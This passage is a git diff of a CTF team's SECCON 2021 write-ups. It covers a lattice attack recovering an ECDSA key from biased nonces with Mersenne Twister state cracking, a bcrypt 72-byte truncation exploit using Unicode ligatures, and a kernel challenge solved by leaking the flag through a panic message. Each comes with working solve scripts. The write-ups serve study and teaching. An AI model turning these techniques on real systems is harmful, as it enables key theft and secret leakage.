case here, so we'll need to massage our signatures a bit first. +Our goal will be to "sacrifice" one of our signatures to subtract away the $z_1$ in the other nonces and arrive at a known bias of 0 for the remaining 79 signatures. With some rewriting, we obtain the following: +\begin{align\*} + &&s^{(j)} \cdot k^{(j)} &= z_1 + r^{(j)}\cdot d + m^{(j)} \cdot |G| \newline +\iff &&(s^{(j)} \cdot 2^{128} - 1) \cdot z_1 &= -s^{(j)} \cdot (k_3^{(j)}\cdot 2^{256} + k_1^{(j)}) + r^{(j)}\cdot d + m^{(j)}\cdot |G| +\end{align\*} +And by rewriting an arbitrary fixed signature (say the very first one) into an equivalent form, equating $z_1 = z_1$ and doing a cross multiplication, we get +\begin{align\*} + &&(s^{(j)}\cdot 2^{128} - 1) \cdot \left(-s^{(j)} \cdot (k_3^{(j)}\cdot 2^{256} + k_1^{(j)}) + r^{(j)}\cdot d + m^{(j)}\cdot |G|\right)\newline + &= \newline + &&(s^{(0)}\cdot 2^{128} - 1) \cdot \left(-s^{(0)} \cdot (k_3^{(0)}\cdot 2^{256} + k_1^{(0)}) + r^{(0)}\cdot d + m^{(0)}\cdot |G|\right) +\end{align\*} + +From this set of linear constraints, along with the known (or easy-to-derive) bounds on each of the unknown variables, we can then apply some [black magic](https://github.com/rkm0959/Inequality_Solving_with_CVP/)[^rkm] and obtain the secret key (which is the first half of the flag), and some of the $k_1^{(j)}$ and $k_3^{(j)}$ we care about for the next part of the challenge at once. + +### Some lattice code + +With the theoretical part out of the way, we first just setup our wrapper around rkm's work that allows us to simply specify our linear (in)equalities and to automatically get the lattice out of it. + +```python +from dataclasses import dataclass +from typing import Any, Callable, List, Mapping + + +@dataclass +class Constraint: + """ Constraint on a linear function + The corresponding formula is: + lower_bound <= sum(coefficients[var] * var, for all var) <= upper_bound + """ + coefficients: Mapping[str, int] + lower_bound: int + upper_bound: int + + def __str__(self): + formula = ' + '.join(f'{c}*{x}' for x, c in self.coefficients.items()) + return f'{self.lower_bound} <= {formula} <= {self.upper_bound}' + + +def constraints_to_lattice( + constraints: List[Constraint], + debug: bool = False +) -> (List[List[int]], List[str]): + from itertools import chain + + if debug: + print('constraints = [') + print(',\n'.join(f'\t{c}' for c in constraints)) + print(']') + + variables = sorted(list(set(chain.from_iterable( + c.coefficients.keys() for c in constraints + )))) + + lattice = [[0] * len(constraints) for _ in range(len(variables))] + for i, c in enumerate(constraints): + for var, coef in c.coefficients.items(): + lattice[variables.index(var)][i] = coef + + if debug: + print(f'variables = {variables}') + print(f'lattice_nrows = {len(variables)} variables') + print(f'lattice_ncols = {len(constraints)} constraints') + print('lattice =') + for row in lattice: + print(''.join('*' if v else '.' for v in row)) + + return lattice, variables + + +# ===== rkm solver ===== + + +def load_rkm_solver( + filename: str = None +) -> Callable: + """ Load rkm's solver without overwriting solve() in globals() """ + from copy import copy + + if filename is None: + filename = 'https://raw.githubusercontent.com/rkm0959/Inequality_Solving_with_CVP/main/solver.sage' # noqa + context = copy(globals()) + sage.repl.load.load(filename, context) + return context['solve'] + + +def rkm_wrapper( + constraints: List[Constraint], + debug: bool = False, + solver: Callable = load_rkm_solver(), + **kwargs: Any, +) -> Mapping[str, int]: + """ Wrapper for rkm's inequalities solver """ + lattice, variables = constraints_to_lattice(constraints, debug) + + # Call solver + if debug: + print('Start solving...') + weighted_close_vec, weights, sol_vec = \ + solver(matrix(lattice), + [c.lower_bound for c in constraints], + [c.upper_bound for c in constraints], + **kwargs) + + # Get solution + if sol_vec is None: + weighted_lattice = matrix(lattice) * matrix.diagonal(weights) + H, U = weighted_lattice.hermite_form(transformation=True) + sol_vec = H.solve_left(weighted_close_vec).change_ring(ZZ) * U + solution = dict(zip(variables, sol_vec)) + if debug: + print(f'solution = {solution}') + + # Check solution + for c in constraints: + coefs, lb, ub = c.coefficients, c.lower_bound, c.upper_bound + val = sum(coef * solution[var] for var, coef in coefs.items()) + if not lb <= val <= ub: + raise Exception('Constrained value out-of-bound, ' + f'lb={lb}, ub={ub}, value={val}, coefs={coefs}, ' + f'solution={solution}') + + return solution +``` + +After which we encode the constraints, and get a stimulating first half of the flag. + +```python +sigs = ... # challenge data + + +from itertools import product + +# Constants +order = 39402006196394479212279040100143613805079739270465446667946905279627659399113263569398956308152294913554433653942643 + + +# STEP: solve d + +# Variables +n_samples = 7 + +d_var = 'd' +k1s = [f'k1_{i}' for i in range(n_samples)] +k3s = [f'k3_{i}' for i in range(n_samples)] +ms = [f'm_{i}' for i in range(n_samples)] + +# Constraints +constraints = [] + +# Size: 0 <= d < 2**384 +constraints.append(Constraint({d_var: 1}, 0, 2 ** 384 - 1)) +# Size: 0 <= k1s[i], k3s[i] < 2**128 +for var in k1s + k3s: + constraints.append(Constraint({var: 1}, 0, 2 ** 128 - 1)) + +# ss[i] * (k3s[i] || z1 || k1s[i]) = z1 + rs[i]*d + m[i]*order +# => z1 = (-ss[i]*k3s[i]*2**256 - ss[i]*k1s[i] + rs[i]*d + m[i]*order) / (ss[i]*2**128 - 1) +for i in range(1, n_samples): + r0, s0 = sigs[0] + ri, si = sigs[i] + cz0 = s0*2**128 - 1 + czi = -1 * (si*2**128 - 1) + coefs = { + d_var: ri*cz0 + r0*czi, + k1s[i]: cz0 * -si, + k3s[i]: cz0 * -si * 2**256, + ms[i]: order * cz0, + k1s[0]: czi * -s0, + k3s[0]: czi * -s0 * 2**256, + ms[0]: order * czi, + } + constraints.append(Constraint(coefs, 0, 0)) + +# Solve +solution = rkm_wrapper(constraints, debug=False) +d = solution[d_var] % order +print(f'd = {d} = {int(d).to_bytes(48, "big")}') +``` +> SECCON{New_STARWARS_Spin-Off_The_Book_Of_Boba_Fe + +*Quick note:* It's very likely possible and even simple to forgo the sacrifice for $z_1$ and just directly add it as a constraint in our lattice solver. This is just the way we went about it before deciding to just pick up that hammer instead of setting up a clean lattice specifically for the resulting HNP. + +## Dancing a twist + +From here, we can either recover $z_1$ first, so we can extract the randomness from the signatures, or just use all signatures rather than only 7 of them to let the lattice do all the work. +We chose to go with the former: +```python +def get_z1_num(s, k3, k1, r, d, m): + return -s*k3*2**256 - s*k1 + r*d + m*order +def get_z1_denom(s): + return s*2**128 - 1 +def get_z1(s, k3, k1, r, d, m): + num = get_z1_num(s, k3, k1, r, d, m) + denom = get_z1_denom(s) + assert num % denom == 0 + return num // denom +z1s = [] +for i in range(n_samples): + z1s.append(get_z1(sigs[i][1], solution[k3s[i]], solution[k1s[i]], sigs[i][0], solution[d_var], solution[ms[i]])) +assert z1s == [z1s[0]] * len(z1s), 'z1 not all equal' +z1 = z1s[0] % order +print(f'z1 = {z1} = {int(z1).to_bytes(16, "big")}') +``` +immediately already recovered all randomness that came from the Mersenne Twister during part 1, and hence we should have plenty of data to recover the full nonces of part 2. We simply dig through old CTF files lying around in our home directory (because who would ever think of cleanly organizing any of this...) and dig up our z3-based solver. +*Yes, it's easy enough to do it without SMT solving, but having these kinds of hammers lying around is always so much more inviting.* +```python +import random +from z3 import * + +class MT19937: + W = 32 + N = 624 + M = 397 + R = 31 + A = 0x9908B0DF + U = 11 + D = 0xFFFFFFFF + S = 7 + B = 0x9D2C5680 + T = 15 + C = 0xEFC60000 + L = 18 + + F = 1812433253 + + def __init__(self, seed=None): + if seed is None: + seed = int.from_bytes(os.urandom(self.W // 8), byteorder='little') + self.state = [seed % (2**self.W)] + for i in range(1, self.N): + self.state.append((self.F * (self.state[-1] ^ (self.state[-1] >> (self.W - 2))) + i) % (2**self.W)) + self.idx = self.N + + def rand(self): + if self.idx >= self.N: + self._twist() + y = self.state[self.idx] + y ^= (y >> self.U) & self.D + y ^= (y << self.S) & self.B + y ^= (y << self.T) & self.C + y ^= y >> self.L + self.idx += 1 + return y % (2**self.W) + + def rand128(self): + result = self.rand() + for i in range(1, 4): + result = (self.rand() << (i*32)) | result + return result + + def _twist(self): + lower_mask = (1 << self.R) - 1 + upper_mask = (~lower_mask) % (2**self.W) + for i in range(0, self.N): + x = (self.state[i] & upper_mask) + (self.state[(i + 1) % self.N] & lower_mask) + xA = x >> 1 + if x % 2 != 0: + xA ^= self.A + self.state[i] = self.state[(i + self.M) % self.N] ^ xA + self.idx = 0 + +class Z3MT19937: + W = 32 + N = 624 + M = 397 + R = 31 + A = 0x9908B0DF + U = 11 + D = 0xFFFFFFFF + S = 7 + B = 0x9D2C5680 + T = 15 + C = 0xEFC60000 + L = 18 + + F = 1812433253 + + def __init__(self): + self.state = [BitVec(f"state_{i}", 32) for i in range(self.N)] + self.idx = self.N + + def rand(self): + if self.idx >= self.N: + self._twist() + y = self.state[self.idx] + y ^= LShR(y, self.U) & self.D + y ^= (y << self.S) & self.B + y ^= (y << self.T) & self.C + y ^= LShR(y, self.L) + self.idx += 1 + return y + + def rand128(self): + result = self.rand() + for i in range(1, 4): + result = Concat(self.rand(), result) + assert result.size() == 128 + return result + + def _twist(self): + lower_mask = (1 << self.R) - 1 + upper_mask = (~lower_mask) % (2**self.W) + for i in range(0, self.N): + x = (self.state[i] & upper_mask) + (self.state[(i + 1) % self.N] & lower_mask) + xA = LShR(x, 1) + xA = If(x & 1 == 1, xA ^ self.A, xA) + self.state[i] = self.state[(i + self.M) % self.N] ^ xA + self.idx = 0 + +def crack(inputs, offset=0): + fr = Z3MT19937() + initstate = fr.state[:] + + s = Solver() + for _ in range(offset): + fr.rand128() + for inp in inputs: + s.add(inp == fr.rand128()) + s.check() + dup = MT19937() + dup.state = [s.model()[x].as_long() for x in initstate] + with open('state.txt', 'w') as f: + f.write(str(dup.state)) + for _ in inputs: + dup.rand128() + for _ in range(offset): + dup.rand128() + return dup + +blocks = [] +for i, (r, s) in enumerate(sigs): + k = (z1 + r*d) / s % order + assert (k >> 128) % 2**128 == z1, f'bad k, i = {i}' + blocks.append(k % 2**128) + blocks.append(k >> 256) + +rnd = crack(blocks) +ks = [y[0] + 2^128 * y[1] + 2^256 * y[2] for _ in range(3) for y in [[rnd.rand128() for _ in range(3)]]] +``` + +From there, the only obstacle left is that we're once again unaware of the value taken by $z_2$. So we repeat our approach of combining two signatures to cancel it out, and solve for the private key. + +```python +d = (sigs[0][1]*ks[0] - sigs[1][1]*ks[1]) / (sigs[0][0] - sigs[1][0]) % order +print(int(d).to_bytes(48, 'big')) +z2 = (sigs[0][1] * ks[0] - sigs[0][0] * d) % order +print(int(z2).to_bytes(48, 'big').strip(b'\0')) +``` + +## Fin +And there we go, just apply the right hammers and you can smash a CTF challenge into tiny bits. +The full flag: +> SECCON{New_STARWARS_Spin-Off_The_Book_Of_Boba_Fett_Will_Premiere_On_December_29-107c360aab} + +And just for fun, the messages being signed: + +> th1s_1s_n0t_fl4g + +> May_The_Lattice_Reduction_Be_With_You... + + +[^rkm]: Thanks again, rkm! diff --git a/SECCON-2021/index.html b/SECCON-2021/index.html new file mode 100755 index 0000000..124fe33 --- /dev/null +++ b/SECCON-2021/index.html @@ -0,0 +1,246 @@ + + + + + +SECCON CTF 2021 | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

SECCON CTF 2021

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ChallengeCategory
Sign Warscrypto
seccon_treepwn
pyast64pwn++pwn
case-insensitivemisc
kone_gadgetpwn
Sequence as a Serviceweb
+ + + + + + + +
+
+
+ + + + + + +
+ + diff --git a/SECCON-2021/index.md b/SECCON-2021/index.md new file mode 100755 index 0000000..264893c --- /dev/null +++ b/SECCON-2021/index.md @@ -0,0 +1,16 @@ +# SECCON CTF 2021 + +| Challenge | Category | +|----------------------------------|----------| +| [Sign Wars](./crypto/signwars) | crypto | +|----------------------------------|----------| +| [seccon_tree](./pwn/seccon_tree) | pwn | +|----------------------------------|----------| +| [pyast64pwn++](./pwn/pyast64pwn) | pwn | +|----------------------------------|----------| +| [case-insensitive](./misc/caseinsensitive) | misc | +|----------------------------------|----------| +| [kone_gadget](./pwn/kone_gadget) | pwn | +|----------------------------------|----------| +| [Sequence as a Service](./web/sequence_as_a_service) | web | + diff --git a/SECCON-2021/misc/caseinsensitive.html b/SECCON-2021/misc/caseinsensitive.html new file mode 100755 index 0000000..10ff5b1 --- /dev/null +++ b/SECCON-2021/misc/caseinsensitive.html @@ -0,0 +1,299 @@ + + + + + +Case-insensitive | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Case-insensitive

+ +

Authors: Spittfire, Aylmao, dd

+ +

Tags: misc, crypto

+ +

Points: 305 (8 solves)

+ +
+

I implemented bcrypt-based signing. Can you expose the key?

+ +

nc case-insensitive.quals.seccon.jp 8080

+
+ +

Introduction

+ +

Last weekend we played SECCON and ended up 2nd overall. It was very fun ! We will present how we solved case-insensitive, a challenge made by kurenaif. This challenge was the least solved misc challenge with only 8 solves.

+ +

Challenge structure

+ +

We are provided with a single python file named problem.py. It contains the code that is run remotely. The code simply hashes a provided message appended to the flag using bcrypt and returns the resulting hash. There is also a functionality to verify that a provided hash corresponds to the hash of a provided message appended to the flag. We rapidly concluded that bruteforcing the hash made out of a single message + flag would be impossible as the flag length could easily be more then 32 bytes and that the hashing algorithm used was bcrypt with 5 round salts.

+ +

Bcrypt Library code analysis

+ +

By inspecting the bcrypt library source code of the used functions we notices that the function hashpw only hashed the first 72 bytes of the provided password which is our message appended to the flag.

+
password = password[:72]
+
+

This is looks promising as we can use this in our advantage. By providing a long enough message we can compute a hash containing the message we provide appended to only the first few bytes of the hash. In this way we can bruteforce it. +For example, to leak the first byte of the flag we can provide a message containing 71 bytes. Then, the flag would be appended to the end of the message and the hashpw would get called. We know that only the 72 first bytes are taken which would mean that the resulting hash can be bruteforced by simply computing the hash of every single possible printable character append to our provided message.

+ +

Length check bypass

+ +

The above presented idea has only one problem. There is a check that bounds the message size to 24 characters. From a challenge of b01lers CTF 2021 , we knew that it was possible to mess with the length of a string by using ligatures in python. By trying out with the ligature . We noticed that we were able to provide a message having length 24 but that would in the end be made of 48 bytes. We then found a ligature made of 3 characters : to reach 72 bytes with a message of 24 characters. This works because the call to upper messes up the actual length of the message. This is an expected behaviour according to the unicode conventions. Calling upper() on is actually well defined. In the unicode specification we can see that :

+ +

FB02; FB02; 0046 006C; 0046 004C shows that the character with code FB02 is represented in lower as FB02 and as 0046 006C in upper case.

+ +

Solution script

+ +

Using the gathered knowledge we started to write a script that would leak 1 byte of the flag at a time and then find the corresponding character by bruteforcing it over the set of all printable characters.

+ +

Here is our solution script :

+
# Imports
+from pwn import * # To interact with the server
+import bcrypt
+from tqdm import tqdm
+import string # To bruteforce on
+
+char_3 = "ffi"
+char_2 = "fl"
+
+def make_to_length(l):
+    nb_of_3 = int(l/3)
+    nb_of_2 = int((l-nb_of_3*3)/2)
+    remaining = l - (3*nb_of_3 + 2*nb_of_2)
+    return char_3*nb_of_3 + char_2*nb_of_2 + remaining*"A"
+
+
+# Phase 1 : Getting all the hashes
+#remote = process('./problem.py')
+remote = remote('case-insensitive.quals.seccon.jp',8080)
+
+def sign(conn, msg):
+    conn.sendline(b"1")
+    d = conn.recvuntil(b'message: ')
+    print(d)
+    conn.sendline(msg.encode())
+    raw = conn.recvline()
+    return raw.split(b": ")[1]
+
+# Hashing all the combinations
+results = {}
+salts = {}
+for i in tqdm(range(48, 72)):
+    results[i] = sign(remote, make_to_length(i)).strip()
+    salts[i] = results[i][0:29]
+flag = ""
+for i in range(48, 72)[::-1]:
+    print("bruteforcing : ", i)
+    s = salts[i]
+    r = results[i]
+    found = None
+    for c in string.printable:
+        leading = make_to_length(i).upper()
+        payload = (leading + flag + c).encode()
+        attempt = bcrypt.hashpw(payload, s)
+        if r == attempt:
+            print("FOUND !", c)
+            found = c
+            break
+    flag += found
+    if "}" in flag:
+        break
+print(flag)
+
+ +

Flag: SECCON{uPPEr_is_M4g1c}

+ +

Conclusion

+ +

It was a really nice challenge to remember us how unsafe len() can be in python ^^.

+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/SECCON-2021/misc/caseinsensitive.md b/SECCON-2021/misc/caseinsensitive.md new file mode 100755 index 0000000..0a25d8e --- /dev/null +++ b/SECCON-2021/misc/caseinsensitive.md @@ -0,0 +1,103 @@ +# Case-insensitive + +**Authors**: [Spittfire](https://twitter.com/Spittfires_), Aylmao, dd + +**Tags**: misc, crypto + +**Points**: 305 (8 solves) + +> I implemented bcrypt-based signing. Can you expose the key? +> +> `nc case-insensitive.quals.seccon.jp 8080` + +## Introduction + +Last weekend we played SECCON and ended up 2nd overall. It was very fun ! We will present how we solved case-insensitive, a challenge made by [kurenaif](https://twitter.com/fwarashi). This challenge was the least solved misc challenge with only 8 solves. + + +## Challenge structure + +We are provided with a single python file named `problem.py`. It contains the code that is run remotely. The code simply hashes a provided message appended to the flag using bcrypt and returns the resulting hash. There is also a functionality to verify that a provided hash corresponds to the hash of a provided message appended to the flag. We rapidly concluded that bruteforcing the hash made out of a single message + flag would be impossible as the flag length could easily be more then 32 bytes and that the hashing algorithm used was bcrypt with 5 round salts. + + +## Bcrypt Library code analysis + +By inspecting the bcrypt library [source code](https://github.com/pyca/bcrypt) of the used functions we notices that the function `hashpw` only hashed the first 72 bytes of the provided password which is our message appended to the flag. +```python +password = password[:72] +``` +This is looks promising as we can use this in our advantage. By providing a long enough message we can compute a hash containing the message we provide appended to only the first few bytes of the hash. In this way we can bruteforce it. +For example, to leak the first byte of the flag we can provide a message containing 71 bytes. Then, the flag would be appended to the end of the message and the `hashpw` would get called. We know that only the 72 first bytes are taken which would mean that the resulting hash can be bruteforced by simply computing the hash of every single possible printable character append to our provided message. + + +## Length check bypass + +The above presented idea has only one problem. There is a check that bounds the message size to 24 characters. From a [challenge](https://polygl0ts.ch/writeups/2021/b01lers/pyjail3/README.html) of [b01lers CTF 2021](https://b01lers.net/) , we knew that it was possible to mess with the length of a string by using ligatures in python. By trying out with the ligature `fl`. We noticed that we were able to provide a message having length 24 but that would in the end be made of 48 bytes. We then found a ligature made of 3 characters : `ffl` to reach 72 bytes with a message of 24 characters. This works because the call to upper messes up the actual length of the message. This is an expected behaviour according to the unicode conventions. Calling `upper()` on `fl` is actually well defined. In the [unicode specification](https://www.unicode.org/Public/UCD/latest/ucd/SpecialCasing.txt) we can see that : + +`FB02; FB02; 0046 006C; 0046 004C` shows that the character with code `FB02` is represented in lower as `FB02` and as `0046 006C` in upper case. + +## Solution script + +Using the gathered knowledge we started to write a script that would leak 1 byte of the flag at a time and then find the corresponding character by bruteforcing it over the set of all printable characters. + +Here is our solution script : +```python +# Imports +from pwn import * # To interact with the server +import bcrypt +from tqdm import tqdm +import string # To bruteforce on + +char_3 = "ffi" +char_2 = "fl" + +def make_to_length(l): + nb_of_3 = int(l/3) + nb_of_2 = int((l-nb_of_3*3)/2) + remaining = l - (3*nb_of_3 + 2*nb_of_2) + return char_3*nb_of_3 + char_2*nb_of_2 + remaining*"A" + + +# Phase 1 : Getting all the hashes +#remote = process('./problem.py') +remote = remote('case-insensitive.quals.seccon.jp',8080) + +def sign(conn, msg): + conn.sendline(b"1") + d = conn.recvuntil(b'message: ') + print(d) + conn.sendline(msg.encode()) + raw = conn.recvline() + return raw.split(b": ")[1] + +# Hashing all the combinations +results = {} +salts = {} +for i in tqdm(range(48, 72)): + results[i] = sign(remote, make_to_length(i)).strip() + salts[i] = results[i][0:29] +flag = "" +for i in range(48, 72)[::-1]: + print("bruteforcing : ", i) + s = salts[i] + r = results[i] + found = None + for c in string.printable: + leading = make_to_length(i).upper() + payload = (leading + flag + c).encode() + attempt = bcrypt.hashpw(payload, s) + if r == attempt: + print("FOUND !", c) + found = c + break + flag += found + if "}" in flag: + break +print(flag) +``` + +Flag: `SECCON{uPPEr_is_M4g1c}` + +## Conclusion + +It was a really nice challenge to remember us how unsafe `len()` can be in python ^^. diff --git a/SECCON-2021/pwn/kone_gadget.html b/SECCON-2021/pwn/kone_gadget.html new file mode 100755 index 0000000..04344b5 --- /dev/null +++ b/SECCON-2021/pwn/kone_gadget.html @@ -0,0 +1,336 @@ + + + + + +kone_gadget | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

kone_gadget

+ +

Authors Nspace

+ +

Tags: pwn, kernel

+ +

Points: 365 (5 solves)

+ +
+

Does any “one gadget” exist in kernel-land? +nc niwatori.quals.seccon.jp 11111 +kone_gadget.tar.gz deb1280bb874b1847f5891599784bf683bee65dc

+ +

author:ptr-yudai

+
+ +

TL; DR:

+ +
jmp flag
+
+ +

The panic handler prints out the flag.

+ +

Analysis

+ +

The setup is pretty simple. We get an unprivileged shell in a Linux VM and the flag is in a file inside the VM that only root can read. We have to exploit the kernel to gain root privileges to that we can read the flag. The challenge VM has every mitigation (SMEP, SMAP, KPTI) enabled except KASLR.

+ +

The challenge’s kernel has a custom syscall, SYS_seccon:

+ +
SYSCALL_DEFINE1(seccon, unsigned long, rip)
+{
+  asm volatile("xor %%edx, %%edx;"
+               "xor %%ebx, %%ebx;"
+               "xor %%ecx, %%ecx;"
+               "xor %%edi, %%edi;"
+               "xor %%esi, %%esi;"
+               "xor %%r8d, %%r8d;"
+               "xor %%r9d, %%r9d;"
+               "xor %%r10d, %%r10d;"
+               "xor %%r11d, %%r11d;"
+               "xor %%r12d, %%r12d;"
+               "xor %%r13d, %%r13d;"
+               "xor %%r14d, %%r14d;"
+               "xor %%r15d, %%r15d;"
+               "xor %%ebp, %%ebp;"
+               "xor %%esp, %%esp;"
+               "jmp %0;"
+               "ud2;"
+               : : "rax"(rip));
+  return 0;
+}
+
+ +

The custom syscall zeroes every general-purpose register and then jumps to an address chosen by us. Somehow we have to use this to become root.

+ +

Exploitation

+ +

This syscall would be trivial to exploit if we could simply jump to some shellcode in userspace and execute that. Unfortunately SMEP and KPTI would crash the kernel if we tried to do that, so it’s not an option. We can only execute code in kernel pages. Under normal circumstances this is not a problem because we can use the RIP control to start a JOP chain or call a function in the kernel. Unfortunately SYS_seccon clears all the registers, including the stack pointer before jumping to our target. This makes the bug rather annoying to exploit:

+ +
    +
  • We cannot call any kernel functions because they all assume that they have a valid stack so they crash either in the function prologue or when they return. Moreover even if we still had a valid stack we wouldn’t have any control over the arguments that these functions are called with.
  • +
  • We cannot use the standard JOP approach of switching the stack to controlled memory and then starting a ROP chain because all the registers (except rax) are zero. We would somehow need to find some code in the kernel that contains a pointer to some controlled kernel memory, that contains a valid stack pivot, and that we can get to without crashing. Doesn’t seem very likely.
  • +
  • As soon as the CPU receives an interrupt the kernel will crash with a double fault because the interrupt handlers also assumes that there is a valid stack.
  • +
+ +

The challenge description hints at a “one gadget in kernel-land”, a sequence of instruction that is present in the kernel and that will give us root when jumped to. While the idea might seem a bit far-fetched, there are one-shot gadgets in glibc that spawn a shell when jumped to so it doesn’t seem entirely out of the realm of possibility1. With that in mind I started searching, and didn’t find anything. I did find some gadgets that would get back a valid stack by reading it from gs:cpu_current_top_of_stack, but none of them do anything useful. All the other gadgets would need a valid stack to be useful.

+ +

The other idea that I had was to modify some variable that is later used in the double fault handler. Normally a double fault panics and doesn’t do anything else, but maybe there is a way to modify a variable so that the handler does what we want? Sadly there doesn’t seem to be anything we can do here either.

+ +

At this point I was run out of things to try but staring at so many kernel panics gave me a new idea. Consider the following kernel panic message:

+ +
traps: PANIC: double fault, error_code: 0x0
+double fault: 0000 [#1] SMP PTI
+CPU: 0 PID: 129 Comm: pwn Not tainted 5.14.12 #4
+Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014
+RIP: 0010:commit_creds+0x0/0x190
+Code: 48 89 e5 e8 92 fe ff ff 5d c3 8b 07 85 c0 7e 16 48 85 ff 74 05 3e ff 0f 74 01 c3 55 48 89 e5 e8 76 fe ff ff 5d c3 0f 0b 66 90 <55> 48 89 e5 41 55 65 4c 8b 2c 25 c0 6c 01 00 41 54 53 4d 8b a5 78
+RSP: 0018:0000000000000000 EFLAGS: 00010246
+RAX: ffffffff81073ad0 RBX: 0000000000000000 RCX: 0000000000000000
+RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000
+RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
+R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000
+R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
+FS:  00000000004040b8(0000) GS:ffff888003800000(0000) knlGS:0000000000000000
+CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
+CR2: fffffffffffffff8 CR3: 0000000002ee2000 CR4: 00000000003006f0
+
+ +

The panic message is meant to help people debug the problem, so it includes quite a bit of information about the state of the kernel prior to the crash. For example it contains the values of the registers, a stack trace (not present here since we don’t have a valid stack), and a printout of the machine code where the kernel crashed. On x86 the machine code is printed by show_opcodes, which prints the 42 bytes preceding the address where the kernel crashed. However there is no check that these bytes are actually code: in principle they could be anything, even data.

+ +

So… could we use this to read the flag?

+ +

The answer is yes, at least for this challenge. The flag is located in memory, in the initramfs. The initramfs is just an uncompressed CPIO file so the flag is just there in plaintext, somewhere. Since there is no KASLR, the virtual address at which the initramfs is mapped is also constant between runs2. The easiest way to locate the flag in memory is to dump the entire memory of the VM from the QEMU monitor and search for the flag in there. We can find the flag at physical address 0x228B000, which is mapped at 0xffff88800228B000 in the physmap.

+ +

All that we have to do is to jump there, and we get the flag from the panic message.

+ +
#include <sys/syscall.h>
+#include <unistd.h>
+
+int main(void)
+{
+    syscall(1337, 0xffff88800228B000 + 42);
+}
+
+ +
traps: PANIC: double fault, error_code: 0x0
+double fault: 0000 [#1] SMP PTI
+CPU: 0 PID: 187 Comm: pwn Not tainted 5.14.12 #4
+Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014
+RIP: 0010:0xffff88800228b02a
+Code: 53 45 43 43 4f 4e 7b 50 6c 65 61 73 65 20 44 4d 20 70 74 72 2d 79 75 64 61 69 20 69 66 20 55 20 73 6f 6c 76 65 64 20 74 68 69 <73> 20 77 69 74 68 6f 75 74 20 73 65 63 63 6f 6d 70 20 6f 72 20 62
+RSP: 0018:0000000000000000 EFLAGS: 00000246
+RAX: ffff88800228b02a RBX: 0000000000000000 RCX: 0000000000000000
+RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000
+RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
+R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000
+R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
+FS:  00000000004040b8(0000) GS:ffff888003800000(0000) knlGS:0000000000000000
+CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
+CR2: fffffffffffffff8 CR3: 0000000002e20000 CR4: 00000000003006f0
+Call Trace:
+
+ +

SECCON{Please DM ptr-yudai if U solved this without seccomp or bpf}

+ +

As you have probably guessed (and as the flag hints at), this solution was completely unintended. The intended way was to use the in-kernel BPF jit to mount a jit spraying attack on the kernel. This sounds makes a lot of sense but we didn’t think of it during the CTF. Oh well… Still thanks to the author, it was a fun challenge to work on.

+ +
+
    +
  1. +

    It’s worth noting though that the one-shot gadgets in glibc would not work without a valid stack. Had we had a valid stack here, this challenge would have been much easier. 

    +
  2. +
  3. +

    Even with KASLR we could have probably brute forced the address, as KASLR has notoriously low entropy. 

    +
  4. +
+
+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/SECCON-2021/pwn/kone_gadget.md b/SECCON-2021/pwn/kone_gadget.md new file mode 100755 index 0000000..767596d --- /dev/null +++ b/SECCON-2021/pwn/kone_gadget.md @@ -0,0 +1,130 @@ +# kone_gadget + +**Authors** [Nspace](https://twitter.com/_MatteoRizzo) + +**Tags**: pwn, kernel + +**Points**: 365 (5 solves) + +> Does any "one gadget" exist in kernel-land? +> `nc niwatori.quals.seccon.jp 11111` +> [kone_gadget.tar.gz](https://secconctf-prod.s3.isk01.sakurastorage.jp/production/kone_gadget/kone_gadget.tar.gz) deb1280bb874b1847f5891599784bf683bee65dc +> +> author:ptr-yudai + +## TL; DR: + +```nasm +jmp flag +``` + +The panic handler prints out the flag. + +## Analysis + +The setup is pretty simple. We get an unprivileged shell in a Linux VM and the flag is in a file inside the VM that only root can read. We have to exploit the kernel to gain root privileges to that we can read the flag. The challenge VM has every mitigation (SMEP, SMAP, KPTI) enabled except KASLR. + +The challenge's kernel has a custom syscall, `SYS_seccon`: + +```c +SYSCALL_DEFINE1(seccon, unsigned long, rip) +{ + asm volatile("xor %%edx, %%edx;" + "xor %%ebx, %%ebx;" + "xor %%ecx, %%ecx;" + "xor %%edi, %%edi;" + "xor %%esi, %%esi;" + "xor %%r8d, %%r8d;" + "xor %%r9d, %%r9d;" + "xor %%r10d, %%r10d;" + "xor %%r11d, %%r11d;" + "xor %%r12d, %%r12d;" + "xor %%r13d, %%r13d;" + "xor %%r14d, %%r14d;" + "xor %%r15d, %%r15d;" + "xor %%ebp, %%ebp;" + "xor %%esp, %%esp;" + "jmp %0;" + "ud2;" + : : "rax"(rip)); + return 0; +} +``` + +The custom syscall zeroes every general-purpose register and then jumps to an address chosen by us. Somehow we have to use this to become root. + +## Exploitation + +This syscall would be trivial to exploit if we could simply jump to some shellcode in userspace and execute that. Unfortunately SMEP and KPTI would crash the kernel if we tried to do that, so it's not an option. We can only execute code in kernel pages. Under normal circumstances this is not a problem because we can use the RIP control to start a JOP chain or call a function in the kernel. Unfortunately `SYS_seccon` clears all the registers, including the stack pointer before jumping to our target. This makes the bug rather annoying to exploit: + +* We cannot call any kernel functions because they all assume that they have a valid stack so they crash either in the function prologue or when they return. Moreover even if we still had a valid stack we wouldn't have any control over the arguments that these functions are called with. +* We cannot use the standard JOP approach of switching the stack to controlled memory and then starting a ROP chain because all the registers (except 